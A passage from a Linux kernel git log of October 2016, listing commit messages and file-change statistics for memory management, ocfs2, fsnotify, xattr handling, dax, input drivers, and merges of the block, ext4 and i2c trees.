whole_zone flag in a way that if it's already passed true to compaction, the cached scanner positions are ignored. Employing this flag during reclaim/compaction loop will be done in the next patch. This patch however converts compaction invoked from userspace via procfs to use this flag. Before this patch, the cached positions were first reset to zone boundaries and then read back from struct zone, so there was a window where a parallel compaction could replace the reset values, making the manual compaction less effective. Using the flag instead of performing reset is more robust. [akpm@linux-foundation.org: coding-style fixes] Link: http://lkml.kernel.org/r/20160810091226.6709-2-vbabka@suse.cz Signed-off-by: Vlastimil Babka Tested-by: Lorenzo Stoakes Acked-by: Michal Hocko Cc: Mel Gorman Cc: Joonsoo Kim Cc: David Rientjes Cc: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/compaction.c | 43 +++++++++++++++++++++---------------------- mm/internal.h | 2 +- 2 files changed, 22 insertions(+), 23 deletions(-) commit 5870c2e1d78b043b69de3199469c056ca3b05102 Author: Michal Hocko Date: Fri Oct 7 16:57:32 2016 -0700 mm/oom_kill.c: fix task_will_free_mem() comment Attempt to demystify the task_will_free_mem() loop. Cc: Tetsuo Handa Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/oom_kill.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 58fa2a5512d9f224775fb01433f195e639953c5f Author: Vladimir Davydov Date: Fri Oct 7 16:57:29 2016 -0700 mm: memcontrol: add sanity checks for memcg->id.ref on get/put Link: http://lkml.kernel.org/r/1c5ddb1c171dbdfc3262252769d6138a29b35b70.1470219853.git.vdavydov@virtuozzo.com Signed-off-by: Vladimir Davydov Acked-by: Johannes Weiner Acked-by: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/memcontrol.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 252e5c6e2e5b4557599ef86ea5d02b0395e9056c Author: zijun_hu Date: Fri Oct 7 16:57:26 2016 -0700 mm/vmalloc.c: fix align value calculation error It causes double align requirement for __get_vm_area_node() if parameter size is power of 2 and VM_IOREMAP is set in parameter flags, for example size=0x10000 -> fls_long(0x10000)=17 -> align=0x20000 get_count_order_long() is implemented and can be used instead of fls_long() for fixing the bug, for example size=0x10000 -> get_count_order_long(0x10000)=16 -> align=0x10000 [akpm@linux-foundation.org: s/get_order_long()/get_count_order_long()/] [zijun_hu@zoho.com: fixes] Link: http://lkml.kernel.org/r/57AABC8B.1040409@zoho.com [akpm@linux-foundation.org: locate get_count_order_long() next to get_count_order()] [akpm@linux-foundation.org: move get_count_order[_long] definitions to pick up fls_long()] [zijun_hu@htc.com: move out get_count_order[_long]() from __KERNEL__ scope] Link: http://lkml.kernel.org/r/57B2C4CE.80303@zoho.com Link: http://lkml.kernel.org/r/fc045ecf-20fa-0722-b3ac-9a6140488fad@zoho.com Signed-off-by: zijun_hu Cc: Tejun Heo Cc: Johannes Weiner Cc: Minchan Kim Cc: David Rientjes Signed-off-by: zijun_hu Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/bitops.h | 36 ++++++++++++++++++++++++++---------- mm/vmalloc.c | 8 ++++---- 2 files changed, 30 insertions(+), 14 deletions(-) commit 7c5f64f84483bd13886348edda8b3e7b799a7fdb Author: Vladimir Davydov Date: Fri Oct 7 16:57:23 2016 -0700 mm: oom: deduplicate victim selection code for memcg and global oom When selecting an oom victim, we use the same heuristic for both memory cgroup and global oom. The only difference is the scope of tasks to select the victim from. So we could just export an iterator over all memcg tasks and keep all oom related logic in oom_kill.c, but instead we duplicate pieces of it in memcontrol.c reusing some initially private functions of oom_kill.c in order to not duplicate all of it. That looks ugly and error prone, because any modification of select_bad_process should also be propagated to mem_cgroup_out_of_memory. Let's rework this as follows: keep all oom heuristic related code private to oom_kill.c and make oom_kill.c use exported memcg functions when it's really necessary (like in case of iterating over memcg tasks). Link: http://lkml.kernel.org/r/1470056933-7505-1-git-send-email-vdavydov@virtuozzo.com Signed-off-by: Vladimir Davydov Acked-by: Johannes Weiner Cc: Michal Hocko Cc: Tetsuo Handa Cc: David Rientjes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/memcontrol.h | 15 ++++ include/linux/oom.h | 43 +--------- mm/memcontrol.c | 114 ++++++++++---------------- mm/oom_kill.c | 200 ++++++++++++++++++++++++--------------------- 4 files changed, 167 insertions(+), 205 deletions(-) commit 48e509ece97e00b68e52d1d18e3e4b809c5b3991 Author: Joseph Qi Date: Fri Oct 7 16:57:20 2016 -0700 ocfs2: fix undefined struct variable in inode.h The extern struct variable ocfs2_inode_cache is not defined. It meant to use ocfs2_inode_cachep defined in super.c, I think. Fortunately it is not used anywhere now, so no impact actually. Clean it up to fix this mistake. Link: http://lkml.kernel.org/r/57E1E49D.8050503@huawei.com Signed-off-by: Joseph Qi Reviewed-by: Eric Ren Cc: Mark Fasheh Cc: Joel Becker Cc: Junxiao Bi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/ocfs2/inode.h | 2 -- 1 file changed, 2 deletions(-) commit 055fdcff35e5e688f5002e7ab330469a58883ff7 Author: Bhaktipriya Shridhar Date: Fri Oct 7 16:57:17 2016 -0700 fs/ocfs2/dlm: remove deprecated create_singlethread_workqueue() The workqueue "dlm_worker" queues a single work item &dlm->dispatched_work and thus it doesn't require execution ordering. Hence, alloc_workqueue has been used to replace the deprecated create_singlethread_workqueue instance. The WQ_MEM_RECLAIM flag has been set to ensure forward progress under memory pressure. Since there are fixed number of work items, explicit concurrency limit is unnecessary here. Link: http://lkml.kernel.org/r/2b5ad8d6688effe1a9ddb2bc2082d26fbbe00302.1472590094.git.bhaktipriya96@gmail.com Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Cc: Mark Fasheh Cc: Joel Becker Cc: Junxiao Bi Cc: Joseph Qi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/ocfs2/dlm/dlmdomain.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 44be975691703cda8e23fe45296f78b287e40232 Author: Bhaktipriya Shridhar Date: Fri Oct 7 16:57:13 2016 -0700 fs/ocfs2/super: remove deprecated create_singlethread_workqueue() The workqueue "ocfs2_wq" queues multiple work items viz &osb->la_enable_wq, &journal->j_recovery_work, &os->os_orphan_scan_work, &osb->osb_truncate_log_wq which require strict execution ordering. Hence, an ordered dedicated workqueue has been used. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure because the workqueue is being used on a memory reclaim path. Link: http://lkml.kernel.org/r/66279de510a7f4cfc6e386d99b7e04b3f65fb11b.1472590094.git.bhaktipriya96@gmail.com Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Cc: Mark Fasheh Cc: Joel Becker Cc: Junxiao Bi Cc: Joseph Qi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/ocfs2/super.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bf940776c051ad6226567d117f8102f1c09f0431 Author: Bhaktipriya Shridhar Date: Fri Oct 7 16:57:10 2016 -0700 fs/ocfs2/cluster: remove deprecated create_singlethread_workqueue() The workqueue "o2net_wq" queues multiple work items viz &old_sc->sc_shutdown_work, &sc->sc_rx_work, &sc->sc_connect_work which require strict execution ordering. Hence, an ordered dedicated workqueue has been used. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Link: http://lkml.kernel.org/r/ddc12e5766c79ba26f8a00d98049107f8a1d4866.1472590094.git.bhaktipriya96@gmail.com Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Cc: Mark Fasheh Cc: Joel Becker Cc: Junxiao Bi Cc: Joseph Qi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/ocfs2/cluster/tcp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0b41be07630ef4ef45e082fed530c633e6cdce88 Author: Bhaktipriya Shridhar Date: Fri Oct 7 16:57:07 2016 -0700 fs/ocfs2/dlmfs: remove deprecated create_singlethread_workqueue() The workqueue "user_dlm_worker" queues a single work item &lockres->l_work per user_lock_res instance and so it doesn't require execution ordering. Hence, alloc_workqueue has been used to replace the deprecated create_singlethread_workqueue instance. The WQ_MEM_RECLAIM flag has been set to ensure forward progress under memory pressure. Since there are fixed number of work items, explicit concurrency limit is unnecessary here. Link: http://lkml.kernel.org/r/9748136d3a3b18138ad1d6ba708367aa1fe9f98c.1472590094.git.bhaktipriya96@gmail.com Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Cc: Mark Fasheh Cc: Joel Becker Cc: Junxiao Bi Cc: Joseph Qi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/ocfs2/dlmfs/dlmfs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3740dcdf8a77ae6a66e99350e9fbd8a6ce4d493a Author: Jason A. Donenfeld Date: Fri Oct 7 16:57:04 2016 -0700 jiffies: add time comparison functions for 64 bit jiffies Though the time_before and time_after family of functions were nicely extended to support jiffies64, so that the interface would be consistent, it was forgotten to also extend the before/after jiffies functions to support jiffies64. This commit brings the interface to parity between jiffies and jiffies64, which is quite convenient. Link: http://lkml.kernel.org/r/20160929033319.12188-1-Jason@zx2c4.com Signed-off-by: Jason A. Donenfeld Cc: Thomas Gleixner Cc: John Stultz Signed-off-by: Linus Torvalds include/linux/jiffies.h | 4 ++++ 1 file changed, 4 insertions(+) commit ed2726406c6a71f5da63719c0ba7d9e21dd9581c Author: Jan Kara Date: Fri Oct 7 16:57:01 2016 -0700 fsnotify: clean up spinlock assertions Use assert_spin_locked() macro instead of hand-made BUG_ON statements. Link: http://lkml.kernel.org/r/1474537439-18919-1-git-send-email-jack@suse.cz Signed-off-by: Jan Kara Suggested-by: Heiner Kallweit Reviewed-by: Jeff Layton Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/notify/fanotify/fanotify_user.c | 3 +-- fs/notify/notification.c | 9 +++------ 2 files changed, 4 insertions(+), 8 deletions(-) commit 0b1b86527df4b1f398266c23e926dd788925bb69 Author: Jan Kara Date: Fri Oct 7 16:56:58 2016 -0700 fanotify: fix possible false warning when freeing events When freeing permission events by fsnotify_destroy_event(), the warning WARN_ON(!list_empty(&event->list)); may falsely hit. This is because although fanotify_get_response() saw event->response set, there is nothing to make sure the current CPU also sees the removal of the event from the list. Add proper locking around the WARN_ON() to avoid the false warning. Link: http://lkml.kernel.org/r/1473797711-14111-7-git-send-email-jack@suse.cz Reported-by: Miklos Szeredi Signed-off-by: Jan Kara Reviewed-by: Lino Sanfilippo Cc: Eric Paris Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/notify/notification.c | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) commit 073f65522aeb23e46fc8a809d69513132d3acc81 Author: Jan Kara Date: Fri Oct 7 16:56:55 2016 -0700 fanotify: use notification_lock instead of access_lock Fanotify code has its own lock (access_lock) to protect a list of events waiting for a response from userspace. However this is somewhat awkward as the same list_head in the event is protected by notification_lock if it is part of the notification queue and by access_lock if it is part of the fanotify private queue which makes it difficult for any reliable checks in the generic code. So make fanotify use the same lock - notification_lock - for protecting its private event list. Link: http://lkml.kernel.org/r/1473797711-14111-6-git-send-email-jack@suse.cz Signed-off-by: Jan Kara Reviewed-by: Lino Sanfilippo Cc: Miklos Szeredi Cc: Eric Paris Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/notify/fanotify/fanotify_user.c | 13 +++++-------- include/linux/fsnotify_backend.h | 1 - 2 files changed, 5 insertions(+), 9 deletions(-) commit c21dbe20f606219fe54faf555b7bc5565487c58f Author: Jan Kara Date: Fri Oct 7 16:56:52 2016 -0700 fsnotify: convert notification_mutex to a spinlock notification_mutex is used to protect the list of pending events. As such there's no reason to use a sleeping lock for it. Convert it to a spinlock. [jack@suse.cz: fixed version] Link: http://lkml.kernel.org/r/1474031567-1831-1-git-send-email-jack@suse.cz Link: http://lkml.kernel.org/r/1473797711-14111-5-git-send-email-jack@suse.cz Signed-off-by: Jan Kara Reviewed-by: Lino Sanfilippo Tested-by: Guenter Roeck Cc: Miklos Szeredi Cc: Eric Paris Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/notify/fanotify/fanotify_user.c | 27 ++++++++++++++------------- fs/notify/group.c | 6 +++--- fs/notify/inotify/inotify_user.c | 16 ++++++++-------- fs/notify/notification.c | 27 +++++++++++++++------------ include/linux/fsnotify_backend.h | 2 +- 5 files changed, 41 insertions(+), 37 deletions(-) commit 1404ff3cc3a14cb1fe8535e30b87d20da9513767 Author: Jan Kara Date: Fri Oct 7 16:56:49 2016 -0700 fsnotify: drop notification_mutex before destroying event fsnotify_flush_notify() and fanotify_release() destroy notification event while holding notification_mutex. The destruction of fanotify event includes a path_put() call which may end up calling into a filesystem to delete an inode if we happen to be the last holders of dentry reference which happens to be the last holder of inode reference. That in turn may violate lock ordering for some filesystems since notification_mutex is also acquired e. g. during write when generating fanotify event. Also this is the only thing that forces notification_mutex to be a sleeping lock. So drop notification_mutex before destroying a notification event. Link: http://lkml.kernel.org/r/1473797711-14111-4-git-send-email-jack@suse.cz Signed-off-by: Jan Kara Cc: Miklos Szeredi Cc: Lino Sanfilippo Cc: Eric Paris Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/notify/fanotify/fanotify_user.c | 6 ++++-- fs/notify/notification.c | 2 ++ 2 files changed, 6 insertions(+), 2 deletions(-) commit 41fefa36be0b3356b95ca665042fc54c2646a833 Merge: 6c6ef9f 703c736 Author: Al Viro Date: Fri Oct 7 20:10:55 2016 -0400 Merge remote-tracking branch 'fuse/xattr' into work.xattr commit 6c6ef9f26e598fb977f60935e109cd5b266c941a Author: Andreas Gruenbacher Date: Thu Sep 29 17:48:44 2016 +0200 xattr: Stop calling {get,set,remove}xattr inode operations All filesystems that support xattrs by now do so via xattr handlers. They all define sb->s_xattr, and their getxattr, setxattr, and removexattr inode operations use the generic inode operations. On filesystems that don't support xattrs, the xattr inode operations are all NULL, and sb->s_xattr is also NULL. This means that we can remove the getxattr, setxattr, and removexattr inode operations and directly call the generic handlers, or better, inline expand those handlers into fs/xattr.c. Filesystems that do not support xattrs on some inodes should clear the IOP_XATTR i_opflags flag in those inodes. (Right now, some filesystems have checks to disable xattrs on some inodes in the ->list, ->get, and ->set xattr handler operations instead.) The IOP_XATTR flag is automatically cleared in inodes of filesystems that don't have xattr support. In orangefs, symlinks do have a setxattr iop but no getxattr iop. Add a check for symlinks to orangefs_inode_getxattr to preserve the current, weird behavior; that check may not be necessary though. Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro Documentation/filesystems/Locking | 24 +++++++++++++----- Documentation/filesystems/vfs.txt | 45 ++++++++++++++++++++++----------- fs/orangefs/xattr.c | 3 +++ fs/xattr.c | 52 +++++++++++++++++++++++++-------------- 4 files changed, 85 insertions(+), 39 deletions(-) commit bf3ee71363c0b44acb62f375aea470262ac4210a Author: Andreas Gruenbacher Date: Thu Sep 29 17:48:43 2016 +0200 vfs: Check for the IOP_XATTR flag in listxattr When an inode doesn't support xattrs, turn listxattr off as well. (When xattrs are "turned off", the VFS still passes security xattr operations through to security modules, which can still expose inode security labels that way.) Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro fs/xattr.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit 5d6c31910bc0713e37628dc0ce677dcb13c8ccf4 Author: Andreas Gruenbacher Date: Thu Sep 29 17:48:42 2016 +0200 xattr: Add __vfs_{get,set,remove}xattr helpers Right now, various places in the kernel check for the existence of getxattr, setxattr, and removexattr inode operations and directly call those operations. Switch to helper functions and test for the IOP_XATTR flag instead. Signed-off-by: Andreas Gruenbacher Acked-by: James Morris Signed-off-by: Al Viro fs/cachefiles/bind.c | 4 ++-- fs/cachefiles/namei.c | 4 ++-- fs/ecryptfs/inode.c | 18 +++++++------- fs/ecryptfs/mmap.c | 13 +++++------ fs/overlayfs/copy_up.c | 4 ++-- fs/overlayfs/super.c | 4 ++-- fs/xattr.c | 44 ++++++++++++++++++++++++++--------- include/linux/xattr.h | 3 +++ security/commoncap.c | 25 ++++++++------------ security/integrity/evm/evm_crypto.c | 7 +++--- security/integrity/evm/evm_main.c | 4 ++-- security/integrity/ima/ima_appraise.c | 21 ++++++++--------- security/selinux/hooks.c | 19 ++++++--------- security/smack/smack_lsm.c | 12 +++++----- 14 files changed, 97 insertions(+), 85 deletions(-) commit f5c244383725a6de06bc62fa7c54c0ea0d942eec Author: Andreas Gruenbacher Date: Thu Sep 29 17:48:41 2016 +0200 libfs: Use IOP_XATTR flag for empty directory handling Instead of special xattr inode operations, use the IOP_XATTR inode operations flag for the special libfs empty directories. Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro fs/libfs.c | 22 +--------------------- 1 file changed, 1 insertion(+), 21 deletions(-) commit 5f6e59ae8277cef221fdbf9b12f0c4f80db59944 Author: Andreas Gruenbacher Date: Thu Sep 29 17:48:40 2016 +0200 vfs: Use IOP_XATTR flag for bad-inode handling With this change, all the xattr handler based operations will produce an -EIO result for bad inodes, and we no longer only depend on inode->i_op to be set to bad_inode_ops. Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro fs/bad_inode.c | 21 +-------------------- fs/xattr.c | 8 +++++++- 2 files changed, 8 insertions(+), 21 deletions(-) commit d0a5b995a308347fdb1bb0412df32acd0312523b Author: Andreas Gruenbacher Date: Thu Sep 29 17:48:39 2016 +0200 vfs: Add IOP_XATTR inode operations flag The IOP_XATTR inode operations flag in inode->i_opflags indicates that the inode has xattr support. The flag is automatically set by new_inode() on filesystems with xattr support (where sb->s_xattr is defined), and cleared otherwise. Filesystems can explicitly clear it for inodes that should not have xattr support. Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro fs/inode.c | 2 ++ fs/xattr.c | 12 ++++++++---- include/linux/fs.h | 1 + 3 files changed, 11 insertions(+), 4 deletions(-) commit b6ba11773d9535fbe068232f2231c99740bb32db Author: Andreas Gruenbacher Date: Thu Sep 29 17:48:38 2016 +0200 vfs: Move xattr_resolve_name to the front of fs/xattr.c Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro fs/xattr.c | 101 ++++++++++++++++++++++++++++++------------------------------- 1 file changed, 50 insertions(+), 51 deletions(-) commit bf02f5d2c080cf61b770e09add602ca360d538fb Merge: 4b899da 2c56388 Author: Al Viro Date: Fri Oct 7 20:09:18 2016 -0400 Merge commit '2c563880ea' into work.xattr pick xattr_handler conversion from lustre tree commit e476f94482fc20a23b7b33b3d8e50f1953f71828 Merge: 178d6f4 4e65e93 Author: Dan Williams Date: Fri Oct 7 16:46:30 2016 -0700 Merge branch 'for-4.9/dax' into libnvdimm-for-next commit 178d6f4be8bf42b298bedf8ea2a00754100e0c4e Merge: db58028 98a29c3 Author: Dan Williams Date: Fri Oct 7 16:46:24 2016 -0700 Merge branch 'for-4.9/libnvdimm' into libnvdimm-for-next commit 4e65e9381c7ac211ec2133e473fcbdd8656c779a Author: Ross Zwisler Date: Mon Sep 12 10:15:07 2016 -0600 /dev/dax: fix Kconfig dependency build breakage The function dax_pmem_probe() in drivers/dax/pmem.c is compiled under the CONFIG_DEV_DAX_PMEM tri-state config option. This config option currently only depends on CONFIG_NVDIMM_DAX, a bool, which means that the following configuration is possible: CONFIG_LIBNVDIMM=m ... CONFIG_NVDIMM_DAX=y CONFIG_DEV_DAX=y CONFIG_DEV_DAX_PMEM=y With this config LIBNVDIMM is compiled as a module with NVDIMM_DAX=y just meaning that we will compile drivers/nvdimm/dax_devs.c into that module. However, dax_pmem_probe() depends on several symbols defined in drivers/nvdimm/dax_devs.c, which results in the following build errors: drivers/built-in.o: In function `dax_pmem_probe': linux/drivers/dax/pmem.c:70: undefined reference to `to_nd_dax' linux/drivers/dax/pmem.c:74: undefined reference to `nvdimm_namespace_common_probe' linux/drivers/dax/pmem.c:80: undefined reference to `devm_nsio_enable' linux/drivers/dax/pmem.c:81: undefined reference to `nvdimm_setup_pfn' linux/drivers/dax/pmem.c:84: undefined reference to `devm_nsio_disable' linux/drivers/dax/pmem.c:122: undefined reference to `to_nd_region' drivers/built-in.o: In function `dax_pmem_init': linux/drivers/dax/pmem.c:147: undefined reference to `__nd_driver_register' Fix this by making NVDIMM_DAX a tristate. DEV_DAX_PMEM depends on NVDIMM_DAX which depends on LIBNVDIMM. Since they are all now tristates, if LIBNVDIMM is built as a kernel module DEV_DAX_PMEM will be as well. This prevents dax_devs.c from being built as a built-in while its dependencies are in the libnvdimm.ko module. Signed-off-by: Ross Zwisler Signed-off-by: Dan Williams drivers/nvdimm/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bc0a0fe94f33dd15edf2ed555bfc4d6dbb5e1995 Author: Arnd Bergmann Date: Thu Sep 8 15:53:28 2016 +0200 dax: use correct dev_t value The dev_t variable in devm_create_dax_dev() is used before it's first set: drivers/dax/dax.c: In function 'devm_create_dax_dev': drivers/dax/dax.c:205:39: error: 'dev_t' may be used uninitialized in this function [-Werror=maybe-uninitialized] inode = iget5_locked(dax_superblock, hash_32(devt + DAXFS_MAGIC, 31), ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ drivers/dax/dax.c:688:8: note: 'dev_t' was declared here This reorders the code to how it looks correct to me. Signed-off-by: Arnd Bergmann Fixes: 3bc52c45bac2 ("dax: define a unified inode/address_space for device-dax mappings") Signed-off-by: Dan Williams drivers/dax/dax.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d76911ee933a64c9dfc453e580e7ad612b394e83 Author: Dan Williams Date: Tue Jul 19 17:51:40 2016 -0700 dax: convert devm_create_dax_dev to PTR_ERR For sub-division support we need access to the dax_dev created by devm_create_dax_dev(). Signed-off-by: Dan Williams drivers/dax/dax.c | 16 ++++++++++------ drivers/dax/dax.h | 5 +++-- drivers/dax/pmem.c | 5 +++-- 3 files changed, 16 insertions(+), 10 deletions(-) commit ff43f433e011ba2851383f8ea426266ec8fbc230 Author: Sangwon Jee Date: Fri Oct 7 16:25:12 2016 -0700 Input: melfas_mip4 - add maintainer information Add maintainer information. Signed-off-by: Sangwon Jee Signed-off-by: Dmitry Torokhov MAINTAINERS | 7 +++++++ 1 file changed, 7 insertions(+) commit e687abfe9dc1ea7fc7a51258e3da76d06851b64d Author: Sangwon Jee Date: Fri Oct 7 16:19:33 2016 -0700 Input: melfas_mip4 - add devicetree binding documentations Add devicetree binding documentations. Signed-off-by: Sangwon Jee Signed-off-by: Dmitry Torokhov .../bindings/input/touchscreen/melfas_mip4.txt | 21 +++++++++++++++++++++ .../devicetree/bindings/vendor-prefixes.txt | 1 + 2 files changed, 22 insertions(+) commit 62837b3c1a95535d1a287c9c8c6563bbd8d37033 Author: Dmitry Torokhov Date: Wed Oct 5 22:49:30 2016 -0700 Input: elantech - add Fujitsu Lifebook E556 to force crc_enabled Another Lifebook machine that needs the same quirk as other similar models to make the driver working. Also let's reorder elantech_dmi_force_crc_enabled list so LIfebook enries are in alphabetical order. Reported-by: William Linna Tested-by: William Linna Reviewed-by: Benjamin Tissoires Cc: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov drivers/input/mouse/elantech.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit d1f5323370fceaed43a7ee38f4c7bfc7e70f28d0 Merge: 2eee010 a949e63 Author: Linus Torvalds Date: Fri Oct 7 15:36:58 2016 -0700 Merge branch 'work.splice_read' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs Pull VFS splice updates from Al Viro: "There's a bunch of branches this cycle, both mine and from other folks and I'd rather send pull requests separately. This one is the conversion of ->splice_read() to ITER_PIPE iov_iter (and introduction of such). Gets rid of a lot of code in fs/splice.c and elsewhere; there will be followups, but these are for the next cycle... Some pipe/splice-related cleanups from Miklos in the same branch as well" * 'work.splice_read' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs: pipe: fix comment in pipe_buf_operations pipe: add pipe_buf_steal() helper pipe: add pipe_buf_confirm() helper pipe: add pipe_buf_release() helper pipe: add pipe_buf_get() helper relay: simplify relay_file_read() switch default_file_splice_read() to use of pipe-backed iov_iter switch generic_file_splice_read() to use of ->read_iter() new iov_iter flavour: pipe-backed fuse_dev_splice_read(): switch to add_to_pipe() skb_splice_bits(): get rid of callback new helper: add_to_pipe() splice: lift pipe_lock out of splice_to_pipe() splice: switch get_iovec_page_array() to iov_iter splice_to_pipe(): don't open-code wakeup_pipe_readers() consistent treatment of EFAULT on O_DIRECT read/write commit 2eee010d092903ee95716b6c2fbd9d3289839aa4 Merge: 513a4be 1801747 Author: Linus Torvalds Date: Fri Oct 7 15:15:33 2016 -0700 Merge tag 'ext4_for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4 Pull ext4 updates from Ted Ts'o: "Lots of bug fixes and cleanups" * tag 'ext4_for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4: (40 commits) ext4: remove unused variable ext4: use journal inode to determine journal overhead ext4: create function to read journal inode ext4: unmap metadata when zeroing blocks ext4: remove plugging from ext4_file_write_iter() ext4: allow unlocked direct IO when pages are cached ext4: require encryption feature for EXT4_IOC_SET_ENCRYPTION_POLICY fscrypto: use standard macros to compute length of fname ciphertext ext4: do not unnecessarily null-terminate encrypted symlink data ext4: release bh in make_indexed_dir ext4: Allow parallel DIO reads ext4: allow DAX writeback for hole punch jbd2: fix lockdep annotation in add_transaction_credits() blockgroup_lock.h: simplify definition of NR_BG_LOCKS blockgroup_lock.h: remove debris from bgl_lock_ptr() conversion fscrypto: make filename crypto functions return 0 on success fscrypto: rename completion callbacks to reflect usage fscrypto: remove unnecessary includes fscrypto: improved validation when loading inode encryption metadata ext4: fix memory leak when symlink decryption fails ... commit 513a4befae06c4469abfb836e8f71977de58c636 Merge: 87840a2 997198b Author: Linus Torvalds Date: Fri Oct 7 14:42:05 2016 -0700 Merge branch 'for-4.9/block' of git://git.kernel.dk/linux-block Pull block layer updates from Jens Axboe: "This is the main pull request for block layer changes in 4.9. As mentioned at the last merge window, I've changed things up and now do just one branch for core block layer changes, and driver changes. This avoids dependencies between the two branches. Outside of this main pull request, there are two topical branches coming as well. This pull request contains: - A set of fixes, and a conversion to blk-mq, of nbd. From Josef. - Set of fixes and updates for lightnvm from Matias, Simon, and Arnd. Followup dependency fix from Geert. - General fixes from Bart, Baoyou, Guoqing, and Linus W. - CFQ async write starvation fix from Glauber. - Add supprot for delayed kick of the requeue list, from Mike. - Pull out the scalable bitmap code from blk-mq-tag.c and make it generally available under the name of sbitmap. Only blk-mq-tag uses it for now, but the blk-mq scheduling bits will use it as well. From Omar. - bdev thaw error progagation from Pierre. - Improve the blk polling statistics, and allow the user to clear them. From Stephen. - Set of minor cleanups from Christoph in block/blk-mq. - Set of cleanups and optimizations from me for block/blk-mq. - Various nvme/nvmet/nvmeof fixes from the various folks" * 'for-4.9/block' of git://git.kernel.dk/linux-block: (54 commits) fs/block_dev.c: return the right error in thaw_bdev() nvme: Pass pointers, not dma addresses, to nvme_get/set_features() nvme/scsi: Remove power management support nvmet: Make dsm number of ranges zero based nvmet: Use direct IO for writes admin-cmd: Added smart-log command support. nvme-fabrics: Add host_traddr options field to host infrastructure nvme-fabrics: revise host transport option descriptions nvme-fabrics: rework nvmf_get_address() for variable options nbd: use BLK_MQ_F_BLOCKING blkcg: Annotate blkg_hint correctly cfq: fix starvation of asynchronous writes blk-mq: add flag for drivers wanting blocking ->queue_rq() blk-mq: remove non-blocking pass in blk_mq_map_request blk-mq: get rid of manual run of queue with __blk_mq_run_hw_queue() block: export bio_free_pages to other modules lightnvm: propagate device_add() error code lightnvm: expose device geometry through sysfs lightnvm: control life of nvm_dev in driver blk-mq: register device instead of disk ... commit 87840a2b7e048018d18d60bdac5c09224de85370 Merge: 2ab704a 662786a Author: Linus Torvalds Date: Fri Oct 7 14:12:21 2016 -0700 Merge branch 'i2c/for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/wsa/linux Pull i2c updates from Wolfram Sang: "Here is the 4.9 pull request from I2C including: - centralized error messages when registering to the core - improved lockdep annotations to prevent false positives - DT support for muxes, gates, and arbitrators - bus speeds can now be obtained from ACPI - i2c-octeon got refactored and now supports ThunderX SoCs, too - i2c-tegra and i2c-designware got a bigger bunch of updates - a couple of standard driver fixes and improvements" * 'i2c/for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/wsa/linux: (71 commits) i2c: axxia: disable clks in case of failure in probe i2c: octeon: thunderx: Limit register access retries i2c: uniphier-f: fix misdetection of incomplete STOP condition gpio: pca953x: variable 'id' was used twice i2c: i801: Add support for Kaby Lake PCH-H gpio: pca953x: fix an incorrect lockdep warning i2c: add a warning to i2c_adapter_depth() lockdep: make MAX_LOCKDEP_SUBCLASSES unconditionally visible i2c: export i2c_adapter_depth() i2c: rk3x: Fix variable 'min_total_ns' unused warning i2c: rk3x: Fix sparse warning i2c / ACPI: Do not touch an I2C device if it belongs to another adapter i2c: octeon: Fix high-level controller status check i2c: octeon: Avoid sending STOP during recovery i2c: octeon: Fix set SCL recovery function i2c: rcar: add support for r8a7796 (R-Car M3-W) i2c: imx: make bus recovery through pinctrl optional i2c: meson: add gxbb compatible string i2c: uniphier-f: set the adapter to master mode when probing i2c: uniphier-f: avoid WARN_ON() of clk_disable() in failure path ... commit 2937f375751922ffce9ef1d5fa84491840b0c8e0 Author: Doug Ledford Date: Thu Oct 6 16:22:37 2016 -0400 staging/lustre: Disable InfiniBand support We changed one of the RDMA APIs and Lustre's InfiniBand transport has not been updated to match. Disabled it for now. Signed-off-by: Doug Ledford drivers/staging/lustre/lnet/Kconfig | 1 + 1 file 